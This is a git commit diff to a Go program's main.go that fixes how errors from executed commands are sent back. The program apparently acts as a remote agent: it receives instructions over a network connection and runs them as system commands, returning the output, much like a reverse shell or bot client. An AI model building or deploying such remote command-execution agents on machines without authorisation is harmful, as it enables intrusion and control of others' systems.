Fix not properly sending command errors

This commit is contained in:
raul 2024-06-06 09:28:26 +02:00
parent baaa10086a
commit d796db3366
1 changed files with 5 additions and 6 deletions

11
main.go
View File

@ -136,9 +136,7 @@ func awaitInstructions(conn net.Conn) error {
return nil return nil
/////////////////////////////// ///////////////////////////////
case inst.IsCommand == true: case inst.IsCommand == true:
if err := executeCommand(conn, inst.Message); err != nil { executeCommand(conn, inst.Message)
return err
}
/////////////////////////////// ///////////////////////////////
default: default:
sendMessage(Response{Successful: false, Message: "Unknown order!"}, conn) sendMessage(Response{Successful: false, Message: "Unknown order!"}, conn)
@ -156,19 +154,20 @@ func Heartbeat(conn net.Conn) error {
return nil return nil
} }
func executeCommand(conn net.Conn, command string) error { func executeCommand(conn net.Conn, command string) {
formattedCommand := strings.Fields(command) formattedCommand := strings.Fields(command)
out, err := exec.Command(formattedCommand[0], formattedCommand[1:]...).Output() out, err := exec.Command(formattedCommand[0], formattedCommand[1:]...).Output()
if err != nil { if err != nil {
resp := Response{Successful: false} errorMsg := fmt.Sprintf("%v\n", err)
resp := Response{Successful: false, Message: errorMsg}
sendMessage(resp, conn) sendMessage(resp, conn)
return
} }
resp := Response{ resp := Response{
Successful: true, Successful: true,
Message: string(out), Message: string(out),
} }
sendMessage(resp, conn) sendMessage(resp, conn)
return nil
} }
func sendMessage(resp Response, conn net.Conn) error { func sendMessage(resp Response, conn net.Conn) error {